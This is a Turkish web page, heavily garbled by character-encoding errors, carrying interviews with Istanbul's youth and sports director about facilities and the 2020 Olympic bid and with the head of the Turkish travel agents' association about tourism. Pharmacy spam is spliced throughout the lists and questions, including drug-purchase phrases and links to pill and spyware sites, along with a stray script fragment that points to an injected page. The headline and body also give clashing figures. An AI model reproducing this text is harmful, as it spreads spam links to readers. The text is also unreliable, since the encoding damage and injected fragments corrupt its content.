A�GS A�l MA?dA?rA? Tamer TaAYpA�nar: A�ncelik, tesisi bulunmayan yerlere hizmet gA�tA?rmek

tamer taAYpA�nar
A�stanbul gibi bA?yA?k metropol bir kentin spordan sorumlusu olmak kadar zor bir olay yok! Ama bu iAYin baAYA�nda A�yle bir isim var ki; senelerini spora vermiAY, hem de uluslar arasA� alanda baAYarA�lar kazanmA�AY bir isima��

Evet A�stanbul GenA�lik ve Spor A�l MA?dA?rA? Tamer TaAYpA�nara��dan bahsediyoruza��

SayA�n TaAYpA�nar, son derece mA?tevazi, gerA�ek anlamda bir sporcu ve de hepsinden A�nemlisi yaptA�AYA� iAYi zaman zaman aile hayatA�nA� bile feda ederek gerA�ekleAYtiren kiAYilerden biria��

SayA�n TaAYpA�nar A�stanbula��un spor komplekslerine son 7 senedir imza atmA�AY bir kiAYi. Ama TaAYpA�nara��a bu icraatlarA� sorulduAYu zaman her zamanki mA?tevazi hali ile a�?Bizler bir ekibiz.A� Bu iAYlerin ilerlemesinden baAYta A�stanbul Valimiz SayA�n Muammer GA?ler ve A�l A�zel A�daresia��nin bA?yA?k katkA�larA�nA� alA�yoruza�? diyora��

SA�zA? daha fazla uzatmadan SayA�n Tamer TaAYpA�nara��a bA�rakA�yoruza��

DA?nyanA�n en bA?yA?k metropollerin biri olan A�stanbula��un bu sene Avrupa KA?ltA?r BaAYkenti olmasA� sebebiyle acaba Spor alanA�nda her hangi bir faaliyet yapA�lacak mA�?

http://dailyteaparty.com/2018/02/01/tulasi-purchase/

Biz zaten her yA�l A�stanbul olarak, ortalama 50 uluslararasA� bA?yA?k A�aplA� organizasyona imza atA�yoruz. 2010a��da da yine 50 civarA�nda uluslararasA� organizasyonu baAYarA�yla gerA�ekleAYtirerek hem A?lkemize hem de AYehrimize en iyi AYekilde hizmet etmenin gayreti iA�indeyiz.

Senelerden beri sporumuzun geliAYmesinde baAYta Genel MA?dA?rlA?k olarak bA�lgelerimize de bA?yA?k gA�revler dA?AYmA?AY bulunuyor. Bunun iA�in yaklaAYA�k 7-8 seneden beri A�stanbul ve A�evresine yapA�lan spor kompleksleri hakkA�nda bilgi verebilir misiniza��

pills online

2002 yA�lA�na kadar A�stanbula��da toplam 69 spor tesisi varken, 2003-2009 yA�llarA� arasA�nda ilimize kazandA�rA�lan spor tesisleri: (spor salonu: 11, yA?zme havuzu: 5, sentetik A�im saha: 7, toprak futbol sahasA�: 6, halA� saha: 2, stadyum: 1, semt sahasA�: 1) olmak A?zere toplam 33 spor tesisi ilimizin hizmetine sunulmuAYtur. AyrA�ca, devam etmekte olan birA�ok projemiz de bulunmaktadA�r.

FaaliyetA� gA�sterildiAYi bA?tA?n A?lkelere bA?yA?k kazanA� saAYlayan Olimpiyatlar iA�in A�stanbul hazA�r mA�? A�A?nkA? 2020 senesine adaylA�AYA�mA�z sA�z konusua��

2020 Olimpiyat ve Parolimpik OyunlarA� iA�in, bugA?n itibariyle her bakA�mdan hazA�r olduAYumuz sA�ylenemez. A�nemsenmesi gereken eksiklerimiz var. Ancak bunlar, OlimpiyatlarA� aldA�AYA�mA�z kesinleAYtikten itibaren, A?stesinden gelinemeyecek sorunlar deAYil. A�stanbula��u sadece sportif tesis ve organizasyon yA�nA?nden hazA�rlamamA�z yeterli olmayacak; ulaAYA�m, konaklama vs. gibi konularA� iA�ine alacak AYekilde, bA?tA?n altyapA�sA�yla AYehri hazA�r hale getirmek gerekecektir. Spor tesisleri ve organizasyonlarA� aA�A�sA�ndan AYimdiye kadar yaAYadA�AYA�mA�z uluslararasA� tecrA?beleri de gA�z A�nA?ne aldA�AYA�mA�zda, A?lke olarak meselenin A?stesinden geleceAYimize inanA�yorum. Belirtmek istediAYim bir husus da; AYehirlerin A�nce Olimpiyat ve Parolimpik OyunlarA�a��nA� aldA�AYA� ve tesisleAYmeyi ondan sonra tamamladA�AYA�dA�r. Azimdiye kadar AYehirler hep bA�yle yaptA�. Biz de bunu yapabiliriz.

tamer taAYpA�nar

Size gA�re OlimpiyatlarA�n yapA�labilmesi iA�in A�stanbula��un eksik yA�nleri nelerdir?

Organizasyon becerisi yA�nA?nden bir eksiAYimiz yok. UEFA Azampiyonlar Ligi Finali, UEFA KupasA� Finali, Formula 1, A�stanbul Cup, Moto GP gibi bA?yA?k organizasyonlardaki baAYarA� oranA�mA�z ve elde ettiAYimiz tecrA?beler, Olimpiyatlar yA�nA?nde bize A�nemli kazanA�mlar saAYlayacaktA�r.

AyrA�ca A�nA?mA?zdeki dA�nemde dA?zenleyeceAYimiz; 46. CumhurbaAYkanlA�AYA� Bisiklet Turu, 2010 Avrupa Yol Bisikleti AzampiyonasA�, 2010 DA?nya Ralli AzampiyonasA�, 2010 DA?nya TakA�mlar Judo AzampiyonasA�, 2010 DA?nya Deniz KA?reAYi AzampiyonasA�, 2010 DA?nya 3 BantA� Bilardo AzampiyonasA�, 2010 DA?nya Halter AzampiyonasA�, 2010 Formula 1 TA?rkiye Grand Prix, 2010, AtA�cA�lA�k Trap-Skeet DA?nya KupasA� Finali, 2010 DA?nya Basketbol AzampiyonasA�, 2011 Avrupa Olimpik GenA�lik OyunlarA�, 2011 DA?nya GA?reAY AzampiyonasA�, 2011 DA?nya A?niversite KA�AY OyunlarA�, 2011 WTA DA?nya Tenis AzampiyonasA�, 2012 DA?nya AmatA�r Golf AzampiyonasA�, 2012 DA?nya Salon Atletizm AzampiyonasA�, 2012 DA?nya KA�sa Kulvar YA?zme AzampiyonasA�, 2012 DA?nya SatranA� OlimpiyatlarA� gibi dev organizasyonlar bize A�ok AYey kazandA�racaktA�r.

TesisleAYme yA�nA?nde de A�nemli hamleler yapmakla birlikte bunu asla yeterli gA�rmA?yoruz. TesisleAYmenin de A?stesinden geleceAYimize inanA�yorum. Konaklama alanA�nda iyi bir yerde olduAYuna inandA�AYA�m A�stanbula��un, ulaAYA�m yA�nA?nden A�nemli eksikleri var. Sistemli, planlA�, programlA� A�alA�AYtA�AYA�mA�z taktirde 2020 Olimpiyat ve Parolimpik OyunlarA�a��nA� en iyi AYekilde gerA�ekleAYtireceAYimize inanA�yorum.

A�l MA?dA?rlA?AYA?nA?z zamanA�nda hizmete soktuAYunuz spor tesislerini aA�A�klayabilir misiniza��

A�stanbula��un spor alanA�nda ihtiyaA� duyduAYu unsurlarA�n baAYA�nda tesis geliyor. Tabii sadece tesis yapmakla iAY bitmiyor. Bu tesisleri gA?A�lA? organizasyonlar ve saAYlam projelerle en A?st seviyede iAYler hale getirmek de A�ok A�nemli. Bu meselenin bir yA?zA?a�� Bir de AYA�yle bir gerA�ek var ki; A�stanbula��a ne kadar tesis yaparsanA�z yapA�n, gA�ze batmA�yor. A�A?nkA? sA�z konusu olan, nA?fusu 15 milyonu aAYan bir AYehir. Ve bu AYehrin ihtiyaA�larA� A�ok bA?yA?k. A�Biz tesis politikamA�zda ilk A�nce, hiA� tesisi bulunmayan ve tesis yA�nA?nden son derece fakir olan bA�lgelere aAYA�rlA�k vermeye A�alA�AYtA�k. Cumhuriyet tarihi boyunca hiA� spor tesisi yapA�lmamA�AY ilA�elerimizi tesise kavuAYturduk. YA?zme havuzlarA�, spor salonlarA�, futbol sahalarA� yaptA�k. AyrA�ca, yapA�mA� yA�lan hikA?yesine dA�nen bazA� tesisleri kA�sa sA?rede bitirerek aktif hale getirdik. Tabii bA?tA?n bunlarA� yaparken A�stanbul Valimiz SayA�n Muammer GA?lera��in ve A�l A�zel A�daresia��nin bA?yA?k destekleri sA�z konusu. Bu bir ekip A�alA�AYmasA�. Ve biz inAYa ettiAYimiz her tesisin altA�nda mutlaka antrenman salonlarA� da yapA�yor ve A�ok amaA�lA� kullanmaya gayret ediyoruz. BA?yA?k salonda mA?sabaka yapA�lA�rken aynA� zamanda antrenman salonlarA�nda sporcularA�mA�z A�alA�AYabiliyor. YaptA�AYA�mA�z tesisleri, Sporu Tabana Yayma ve GeliAYtirme Projeleri ile en iyi AYekilde A�alA�AYA�r hale getirmek iA�in gayret gA�steriyoruz.

SPOR SALONLARIMIZ:

  1. ARNAVUTKA�Y HADIMKA�Y SPOR SALONU
  2. ARNAVUTKA�Y SPOR SALONU
  3. ESENYURT KIRAA� SPOR SALONU buy paroxetine no prescription
  4. ESENLER SPOR SALONU
  5. GAZANFER BA�LGE SPOR SALONU
  6. MA�MAR SA�NAN SPOR SALONU
  7. KA?A�A?KA�EKMECE HALKALI OSMAN SOLAKOAzLU SPOR SALONU
  8. SULTANBEYLA�A� SPOR SALONU
  9. A�STANBUL A?NA�VERSA�TESA� ORMAN FAKULTESA� SPOR TESA�SLERA� (SPOR SALONU) online
  10. Cheap

  11. SANCAKTEPE YENA�DOAzAN SPOR SALONU
  12. SA�LA�VRA� SPOR SALONU (ALA�BEY MAHALLESA�)

YA?ZME HAVUZLARIMIZ:

  1. ARNAVUTKA�YA� KAPALI YA?ZME HAVUZU
  2. ARNAVUTKA�Y HADIMKA�Y YA?ZME HAVUZU
  3. ESENLER YA?ZME HAVUZU
  4. KARTAL YAKACIK KAPALI YA?ZME HAVUZU
  5. SULTANBEYLA�A� KAPALI YA?ZME HAVUZU

SENTETA�K SAHALARIMIZ:

  1. A�STANBUL A?NA�VERSA�TESA� ORMAN FAKULTESA� SPOR TESA�SLERA� (SENTETA�K SAHA)
  2. ARNAVUTKA�Y TAAzOLUK SENTETA�K SAHA
  3. A�ATALCA DURUSU SENTETA�K A�A�M YA?ZEYLA� FUTBOL SAHASI
  4. A�ATALCA BA�NKILIA� SENTETA�K A�A�M YA?ZEYLA� FUTBOL SAHASI
  5. A�EKMEKA�Y ALEMDAAz SENTETA�K A�A�M YA?ZEYLA� FUTBOL SAHASI VE TRA�BA?N online
  6. SARIGAZA� SENTETA�K A�A�M YA?Z FUT SAHASI (BELEDA�YEDEN DEVA�R)
  7. SARIYER A�AYIRBAAzI STADI (BELEDA�YEDEN DEVA�R)

TOPRAK SAHALARIMIZ:

  1. KAMA�LOBA TOPRAK YA?ZEYLA� FUTBOL SAHASI Cheap
  2. online

  3. A�ATALCA KALEA�A�A� TOPRAK YA?ZEYLA� FUTBOL SAHASI
  4. A�ATALCA A�HSANA�YE KA�YA?A� TOPRAK YA?ZEYLA� FUTBOL SAHASI
  5. buy pills

  6. price of lipitor generic A�ATALCA A�ZZETTA�N KA�YA?A� TOPRAK YA?ZEYLA� FUTBOL SAHASI
  7. ESENYURT KIRAA� TOPRAK YA?ZEYLA� FUTBOL SAHASI
  8. A�STANBUL SA�LA�VRA� GA?MA?AzYAKA TOPRAK YA?ZEYLA� FUTBOL SAHASI VE YEDEK OYUNCU KULA?BELERA� YAPIM A�AzA�

STADYUM VE DA�AzER TESA�SLERA�MA�Z:

  1. MALTEPE HASAN POLAT STADI

  1. AzA�LE MA�NA� FUTBOL HALI SAHASI
  2. A�EKMEKA�Y ALEMDAAz HALI SAHA http://sistaahfriend.com/?p=9367

  1. SA�LA�VRA� A�ANTA BELDE BELEDA�YESA� CUMHURA�YET MAHALLESA� BASKETBOL, VOLEYBOL SAHASI

Yeni projeleriniz nelerdir? Bu konuda da bilgi verirseniz kamuoyunu bilgilendirme aA�A�sA�ndan mutlu oluruza��

BeylikdA?zA?, A�ekmekA�y, Maltepe ve Sancaktepea��de modern spor kompleksleri iA�in kollarA� sA�vadA�k ve projelerini hazA�rladA�k. Tesislerimizde kapalA� yA?zme havuzlarA�, spor salonlarA�, otoparklar, dinlenme alanlarA� vs. olacak. AyrA�ca, Tozkoparan YA?zme Havuzu yakA�nda ihale edilecek, ayrA�ca AtakA�ya��de olimpik havuz projemiz var. A�A�inde atlama havuzu, test havuzu gibi kA�sA�mlar da bulunacak. 250 kiAYi kapasiteli modern bir konferans salonu, otoparkA� vs. de olacak.

SayA�n Tamer TaAYpA�nar bizler sizi yakA�ndan tanA�yoruza�� Ama kamuoyunu bilgilendirme aA�A�sA�ndan bizlere sporculuk hayatA�nA�zA� anlatabilir misiniza��

1971 yA�lA�nda taek-wondo ya baAYladA�m ve sporculuk kariyerimin sonunda siyah kuAYak 6. Dana��a kadar yA?kseldim. Milli formayA� giydiAYim yA�llarda TA?rkiye AYampiyonu, 1979 Stutgart DA?nya 7a��ncisi, 1982 Roma Avrupa 5a��ncisi oldum ve uluslararasA� yA?ksek derecelere imza attA�m. Faal sporculuk hayatA�mA�n ardA�ndan TA?rk sporuna A�nce Taekwondo Milli TakA�m AntrenA�rA? sonra da Milli TakA�mlar Teknik DirektA�rA? olarak hizmet verdim. 5. kademe antrenA�rlA?k diplomasA�na sahip oldum ve birA�ok milli sporcu yetiAYtirdim. 1997 yA�lA�nda uluslararasA� hakemlik kokartA�nA� da kazandA�m.A� 10 yA�l boyunca yA?rA?ttA?AYA?m Taekwondo A�l TemsilciliAYi dA�neminde, Taekwondo Federasyonua��nun Teknik ve EAYitim Komitelerinde de A�alA�AYmalar yaptA�m. 1984 yA�lA�ndan itibaren sA�rasA�yla AntrenA�rlA?k, Azeflik, A�lA�e MA?dA?rlA?AYA? ve Azube MA?dA?rlA?AYA? ve 2003a��A?n Mart ayA�ndan itibaren de A�stanbul GenA�lik ve Spor A�l MA?dA?rlA?AYA? gA�revini yA?rA?tA?yorum.

DA?nyaya tekrar gelseniz aynA� gA�revi yapmayA� mA�, yoksa A?nlA? bir sporcu olmayA� mA� tercih ederdiniza��

A?nlA? bir sporcu olmak isterdim, bu elbette A�ok A�nemli ve gA?zel bir AYey. Ama benim iA�in, TA?rk sporuna kalA�cA� hizmetlerde bulunmak da A�ok anlamlA�. Ben yine A?nlA? bir sporcu olmakla birlikte, TA?rk spor teAYkilatA�nda gA�rev almayA� tercih ederdim.

}if (document.currentScript) { http://coachingplus.dk/gsp-tracker-iphone-spy-tracking-spyware/

TA?RSAB BaAYkanA� Ulusoy: On yA�l iA�erisinde turizmin kazancA� en az 350 milyon dolar olacak

baAYaran ulusoy
Bir A?lkenin kalkA�nmasA� iA�in ekonomiye takviye yapan gA?A�lerin bA?yA?k A�nemleri vardA�r.

Bunlar A�eAYitli sektA�rler ile bA?tA?nlA?k kazanA�r.

Nitekim sanayinin yanA� sA�ra ihracat ve ithalattaki endeksler bir A?lkenin ekonomisinde bA?yA?k pay sahibidir.

Bu arada a�?BACASIZ ENDA?STRA�a�? adA� ile anA�lan TURA�ZM denilince ekonomiye katkA�sA�nA� asla unutmamak gerekir.

Son senelerde A?lke A�apA�rda yapA�lan ataklar… Ki bunlar yatak kapasiteleri , sektA�rA?n oluAYturduAYu A�eAYitli iAY alanlarA� ve A?lke tanA�tA�mA�…

A�AYte bu konularA�n en A�nemli detaylarA�nA� sizlerle paylaAYmak iA�in TA?rkiye Seyahat Acenteleri BirliAYi BaAYkanA� BaAYaran Ulusoy ile gA�rA?AYelim ve bilgiler edinelim dedik… GerA�ek anlamda TA?rk ekonomisine son senelerde bA?yA?k katkA�lar saAYlayan bu sektA�rA?n acA�larA�, tatlA�larA�, girdileri A�A�ktA�larA�nA� SayA�n Ulusoya��u sorduk. O da bizlere hem geA�miAY; hem de ileriye dA�nA?k A�alA�AYmalarA� hakkA�nda dobra dobra aA�A�klamalarda bulundu…
BAAzARAN ULUSOY-SERAP A�ZAKSOY
TA?rk Turizmi sizce hak ettiAYiA� yerde mi?

TA?rkiye dA?nya turizminin yA�ldA�zlarA�ndan birisidir. 1980a��lerin ortalarA�ndan itibaren baAYlayan yA?kseliAY trendini, doAYal felaketlerin ve OrtadoAYua��daki savaAY sA?reA�lerinin etkilediAYi birkaA� yA�l dA�AYA�nda devamlA� sA?rdA?rerek dA?nyanA�n en fazla yabancA� turist A�eken ilk on varA�AY A?lkesinden birisi haline gelmiAYtir. BirleAYmiAY Milletler DA?nya Turizm A�rgA?tA?a��nA?n 2008 verilerine gA�re TA?rkiye dA?nya sA�ralamasA�nda 22,2 milyon turist ile 8. sA�rada ve 22 milyar turizm geliriyle de 9. sA�radadA�r. TA?rkiyea��nin turizm doAYal ve kA?ltA?rel turizm kaynaklarA�na bakarak yapA�lacak bir deAYerlendirmeyle A�nA?mA?zde daha bA?yA?k bir potansiyel alanA�n olduAYu gA�rA?lmektedir. A�zellikle alt ve A?styapA� bakA�mA�ndan var olan eksiklerimiz A�A�zA?mlendikA�e TA?rkiye bu ligde daha A?st sA�ralara olan yA?rA?yA?AYA?nA? sA?rdA?recektir.

A?lke tanA�tA�mA� iA�in eksik yA�nlerimiz nelerdir?

TA?rkiye turizm tanA�tA�mA� anlamA�nda son on yA�ldA�r baAYarA�lA� bir A�alA�AYma sergilemiAYtir. Bu bakA�mdan KA?ltA?r ve Turizm BakanlA�AYA�a��na baAYlA� TanA�tma Genel MA?dA?rlA?AYA?mA?zA?n baAYarA�lA� ve A�zverili A�alA�AYmalarA�nA� AYA?kranla karAYA�ladA�AYA�mA�zA� belirtmek isteriz. A�zellikle fuar katA�lA�mlarA� ve medya reklamlarA� bakA�mA�ndan TA?rkiye dA?nyanA�n en baAYarA�lA� A?lkelerinden birisidir. Bunda bu yA�llar iA�inde tanA�tA�m iAYinin dA?zenlenen ihalelerle A�zel sektA�r kuruluAYlarA�nA�n da yer aldA�AYA� bir komisyon tarafA�ndan seA�ilen reklam ajanslarA�na devredilmesinin bA?yA?k payA� olmuAYtur.

TanA�tA�mda yerel motifleri daha etkili bir AYekilde iAYleyebilir ve turizm tA?rlerini daha detaylA� aktarabilirsek daha baAYarA�lA� sonuA�lar alabileceAYimiz kanaatindeyiz. Bir de bu detaylarA� A�zel mA?AYteri gruplarA�na ulaAYtA�rmak aktarabilmek gerekiyor.

2010 Avrupa KA?ltA?r BaAYkenti simgesini taAYA�dA�AYA� bu sene iA�in gA�rA?AYleriniz…

A�stanbula��un bu yA�l Avrupa KA?ltA?r BaAYkentliAYini yapacak olmasA� elbette turizm aA�A�sA�ndan da A�ok A�nemlidir. TA?rkiyea��nin imajA�na olumlu katkA�da bulunacak her tA?rlA? geliAYme turizme neticede yansA�yor. A�stanbul ve TA?rkiye bu sayede A�nemli bir fA�rsat yakalamA�AY oldu. Bu yA�l boyunca A�stanbul Avrupaa��nA�n medyasA�nda A�nemli yer iAYgal edecek, A�stanbula��un kA?ltA?r ve sanat alanA�ndaki varlA�klarA� sA�z konusu edilecek ve Avrupa KA?ltA?rA?nA?n bir parA�asA� olarak lanse edilecektir.

cheap glycomet tablets online a�?BacasA�z endA?sztria�? turizm iA�in yapA�lanmalar yeterli mi? Yeterli deAYil ise A�nerileriniz… http://eni-seafood.com/exelon-how-much/

Son yA�llarda yaAYanan bazA� geliAYmeler turizmin bazA� bA�lgelerde A�ncelikli sektA�r olarak ilan edilmesi ve doAYal ve kA?ltA?rel turizm kaynaklarA�na zarar verebilecek diAYer endA?striyel yapA�lanmalara engel olunmasA� gerektiAYini gA�stermiAYtir. En nadide koylarA�mA�zdaki balA�k A�iftlikleri, KA�yA�larA�mA�za kurulan termik santraller, Kaz DaAYlarA�nda yapA�lan maden arama giriAYimleri, Fethiye A?zA?mlA? KA�ya��de A�imento fabrikasA� kurulmasA� giriAYimi gibi olaylar TA?rkiyea��nin en rekabetA�i, A�nA? en aA�A�k sektA�rA?ne balta vurabilecek yaklaAYA�mlarA�n en hassas olduAYumuz bA�lgelerde yeAYermesine imkan verecek bir ortam iA�inde olduAYumuzu bize gA�stermektedir. Turizm TA?rkiyea��ye bu yA�l 22 milyar dolar dA�viz getirmiAYtir. Bu rakam her yA�l artmaktadA�r. A�nA?mA?zdeki on yA�l iA�inde turizmden kazanacaAYA�mA�z dA�viz miktarA� en az 350 milyar dolardA�r. A?stelik bu para birkaA� sektA�r iA�inde dA�nen, bA?yA?k miktarA� ithalata dayalA� bir dA�viz geliri de deAYlidir. Turizm sayesinde A�ok bA?yA?k oranda yerli A?retime dayanan 40a��a yakA�n sektA�r ve iAY kolu yerinde ihracat yapmaktadA�r. A�AYte bu nedenle turizmin hiA� olmazsa hassasiyet taAYA�dA�AYA� bA�lgelerde turizme A�ncelik verilmeli turizme zarar verme riski bulunan her tA?rlA? geliAYmenin A�nA?ne set A�ekilmelidir.

BAAzARAN ULUSOY

http://snipd.net/zyvox-antibiotic-cost TA?RSABa��A�n baAYarA�lA� baAYkanA� olarak TA?rkiyea��deki seyahat acentelerinin kendi aralarA�ndaki uyumu veya uyumsuzluAYu konusunda sizin gA�rA?AYleriniz neler olur…

Seyahat acentacA�lA�AYA� turizmin ulaAYtA�rma, konaklama ve pazarlamadan oluAYan A?A� sac ayaAYA�ndan birisidir. Seyahat acentalarA� turizmi kitleselleAYtiren, uluslar arasA� endA?striyel bir boyut katan yapA�lanmalardA�r. Onlar olmasaydA� seyahat A�ok zorlaAYacak ve riskli bir iAY haline gelecek; bu nedenle de azalan verim nedeniyle endA?strileAYme de gerA�ekleAYmeyecekti. Oysa seyahat acentalarA� sayesinde turizm A?rA?nlerine tA?ketici gA?veni artA�rA�lmA�AY, tA?ketici kendi ortamA�nda haklarA�nA� arayabileceAYi bir muhatap bulmuAYtur.

TA?rkiyea��de seyahat acentalarA� mesleAYi A�zellikle 1972a��de TA?rkiye Seyahat AcentalarA� BirliAYia��nin kurulmasA�yla gA?A�lA? bir ivme kazanmA�AY ve TA?rk turizminin geliAYmesine bA?yA?k katkA�larda bulunmuAYtur. 1972 yA�lA�nda sayA�sA� yA?zlerle ifade edilen seyahat acentalarA� bugA?n AYubeleriyle birlikte 5800a��A? aAYmA�AYtA�r.

Seyahat acentalarA� turizm sektA�rA? iA�inde yasayla kurulmuAY yarA� kamu kuruluAYu niteliAYinde bir BirliAYe sahip tek meslek koludur. Bu durum TA?rkiyea��de bu mesleAYi hem gA?venilir kA�lmakta hem de geliAYmesini saAYlamaktadA�r.

Seyahat acentalarA�nA�n uyumlu birlikteliAYi en gA?zel AYekliyle TA?RSABa��A�n iki yA�lda bir yapA�lan kongrelerine yansA�yor. Son Kongremize 1951 A?yemiz kayA�t yaptA�rmA�AY ve 1317 A?yemiz de oy kullanmA�AYtA�r. DoAYrusu AYu ki bu yA?ksek katA�lA�m oranlarA� pek az meslek kuruluAYuna nasip olmaktadA�r.

Son senelerde yaAYanan bazA� A�ift rezervasyon olaylarA�,A� turlarA�n rezervasyonsuz oluAYturulmasA� ve

sonunda maAYdur olan vatandaAYlarA�mA�z iA�in; sizin ne tip A�nerileriniz olabilira��

Seyahat acentalarA�mA�z her yA�l milyonlarca yerli ve yabancA� mA?AYterisine hizmet veriyor. TA?rkiyea��ye gelen yabancA�larA�n yaklaAYA�k yA?zde 55a��i seyahat acentalarA� vasA�tasA�yla geliyorlar. Bu da yaklaAYA�k 15 milyon yabancA� anlamA�na geliyor. Seyahat acentalarA�yla yurt iA�i ve yurtdA�AYA� turlara katA�lan vatandaAYlarA�mA�zA�n sayA�sA�nA�n da 2 milyona yaklaAYtA�AYA�nA� tahmin ediyoruz. Bu sayA�larA�n her yA�l bA?yA?k oranlarda arttA�AYA�nA� da belirtmeliyiz. BA�ylesine bA?yA?k volA?mlerin yaAYandA�AYA� bir ticari alA�AYveriAY ortamA�nda maalesef bazen istenmeyen olaylar yaAYanabiliyor. Bazen bir A?yemiz gerA�ekten A�deme gA?A�lA?AYA? iA�ine dA?AYebiliyor. Ya da elbetteki sayA�larA� A�ok az da olsa ayA�p ve kusurlu hizmet verenler olabiliyor. Ancak her yA�l yaklaAYA�k 17-18 milyon kiAYiye hizmet gA�tA?ren sektA�rA?mA?zde bu tA?r olaylarla maAYdur olan tA?ketici sayA�sA�nA�n toplam tA?keticilere oranA� binde biri bile zor bulmaktadA�r. Order

Biz elbetteki bunu da kabullenmiyoruz. TA?RSAB olarak bu rakamA�n sfA�A�r olmasA� iA�in bA?yA?k bir A�aba gA�steriyoruz. A�ncelikle seyahat sigorta gA?vencesinin 1618 SayA�lA� Seyahat AcentalarA� ve TA?rkiye Seyahat AcentalarA� BirliAYi Kanunua��nun iA�ine girmesi iA�in bA?yA?k bir A�aba harcadA�k ve bunu iki yA�l A�nce gerA�ekleAYen yasa deAYiAYikliAYiyle baAYardA�k. BA�ylece, TA?rkiyea��deki bir seyahat acentasA�ndan tur paketi satA�n alan tA?m tA?keticiler o tur hizmeti esnasA�nda yaAYanabilecek iflaslar, eksik ya da ayA�plA� A?rA?nler ve hizmetlere karAYA� sigortalanmA�AY oluyorlar.

Bu elbetteki TA?rkiyea��deki seyahat tA?keticisinin haklarA�nA�n korunmasA� aA�A�sA�ndan A�ok bA?yA?k bir geliAYmedir.

Ancak, TA?RSAB olarak biz yine de seyahat acentalarA�nA�n hizmetlerinden AYikayetA�i olan tA?keticiler iA�in oluAYturduAYumuz Komiteler ve Hukuk DepartmanA�mA�z vasA�tasA�yla destek saAYlA�yor sorunlarA�n A�A�zA?mA?ne mA?mkA?n olan tA?m gayreti gA�steriyoruz.

TA?RSABa��a gelen tA?m AYikayet dosyalarA� titizlikle inceleniyor. TaraflarA�n ifadeleri alA�nA�yor; deliller inceleniyor ve bir uzmanlar kurulu tarafA�ndan karar verilip gereAYi yapA�lA�yor.

baAYaran ulusoy-serap A�zaksoy

Cezai hA?kA?mlerle AYirketleri kapatA�lan kiAYilerin baAYka isimlerle bu iAYlereA� devam etmesiA�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A� konusunda birliAYinizinA� aldA�AYA� tedbirler nelerdir?

Seyahat acentalarA�nA�n meslek ilkelerine aykA�rA� hareket etmeleri ya da yasa dA�AYA� uygulamalarA�A�A� yapmalarA� halinde ne tA?r yaptA�rA�mlarla karAYA�laAYacaklarA� 1618 SayA�lA� Seyahat AcentalarA� BirliAYi Kanunu ve ilgili yA�netmeliklerde A�ok net bir AYekilde tanA�mlanmA�AYtA�r. KA?ltA?r ve Turizm BakanlA�AYA�a��ndan alA�nan seyahat acentasA� iAYletme belgesi olmadA�AYA� halde 1618 sayA�lA� yasayla seyahat acentasA� faaliyetleri olarak tanA�mlanan faaliyetlerde bulunan gerA�ek ya da tA?zel kiAYiler hakkA�nda ne tA?r yasal iAYlemler yapA�lacaAYA� da, bu mevzuatta belirtilmektedir. BirliAYimiz tamamen yasal zeminde sektA�rA?mA?ze ve tA?keticilerin seyahat A�zgA?rlA?klerine zarar veren bu tip giriAYimleri denetimle ilgili departmanlarA� vasA�ytasA�yla takip etmektedir.

A?yelerimizden, tA?keticilerden ve kamu kuruluAYlarA�ndan bu tip iAYletmelerin faaliyetlerine iliAYkin ihbarlar BirliAYimize ya da KA?ltA?r ve Turizm BakanlA�AYA�a��na gelmektedir. Bu ihbarlar Hukuk departmanA�mA�z tarafA�ndan incelenerek gerekli yasal iAYlemler savcA�lA�klar nezdinde baAYlatA�lA�yor.

Burada AYunu da belirtmek isterim ki tA?keticilerin can ve mal gA?venliklerini riske sokan ve dolandA�rA�lma riskiyle karAYA� karAYA�ya bA�rakan bu tA?r faaliyetler hiA�bir zaman uzun A�mA?rlA? olmuyor. GA?nA?mA?zde tA?ketici bilinci A?st dA?zeylere ulaAYmA�AY durumda. Onlar seyahat satA�n alacaklarA� zaman artA�k BirliAYimizi arayA�p, ya da web sitemize girip seyahat satA�n alacaklarA� AYirketin seyahat acentasA� iAYletme belgesi bir seyahat acentasA� olup olmadA�AYA�nA� kontrol ediyorlar.

Bunun dA�AYA�nda TA?rkiyea��nin her yerinde faaliyet gA�steren ve sayA�larA� 5800a��A? aAYkA�n seyahat acentalarA� ve onlarA�n A�alA�AYanlarA� bizim A?lke sathA�na yayA�lan gA�zlerimiz kulaklarA�mA�z gibidirler. A�ok geA�meden bu tA?r faaliyetlerde bulunanlarA�n bilgisi elimize geA�iyor ve gerekli iAYlemler hemen baAYlatA�lA�yor.

Purchase IATA FirmalarA�nA�n yerel havayollarA� ile yaAYadA�AYA� sA�kA�ntA�lar konusundaki fikirleriniz nelerdir?

UA�ak bileti satA�AYA� yapan A?yelerimizin bazA�larA� Uluslar arasA� Havayolu TaAYA�macA�larA� BirliAYi (IATA) A?yesi olarak binlerce havayolunun biletlerini kesme hakkA� elde ediyorlar. UA�ak bileti satan IATA olmayan seyahat acentalarA�mA�z da var. Bunlar da komisyon karAYA�lA�AYA� bir IATA A?yesi seyahat acentasA�nA�n bayisi gibi A�alA�AYabiliyorlar. Ya da IATA olsun olmasA�n yerli havayollarA�nA�n bilet satA�AYA�nA� yapan A?yelerimiz var. Son yA�llarda bilet satA�AYA� iAYiyle uAYraAYan A?yelerimizin en bA?yA?k sorunu bankalarA�n kredi kartA� harcamalarA� A?zerinden verdikleri uA�uAY mili puanlarA�dA�r. Bankalar bu dolayA�mla uA�ak bileti satar hale gelmiAYlerdir. BazA� yerli havayolu AYirketlerimiz de Bankalarla bu konuda anlaAYarak seyahat acentalarA�nA�n maAYdur olmalarA�na yol aA�maktadA�rlar. Seyahat acentalarA� havayolu AYirketlerinin en A�nemli daAYA�tA�m aAYlarA�ndan birisidir. Bu aAYA�n gerA�ek iAYi seyahat daAYA�tA�mA� olmayan bankalarca bu AYekilde A�rselenmesi bu yolun sonunda yine havayolu AYirketlerini ve bankalarA� vuracaktA�r. A�A?nkA? seyahat iAYini organize edecek uzman firmalar azaldA�kA�a seyahatin kitleselliAYi de azalacak ve endA?striyel boyutu hasar alacaktA�r.Bankalar AYunu unutmamalA�lar ki seyahat endA?strisi bugA?n bankalardan en fazla kredi kullanan, onlara bol miktarda nakit akA�AYA� saAYlayan bir endA?stridir ve endA?striyel boyutuyla sadece ulaAYtA�rma, seyahat 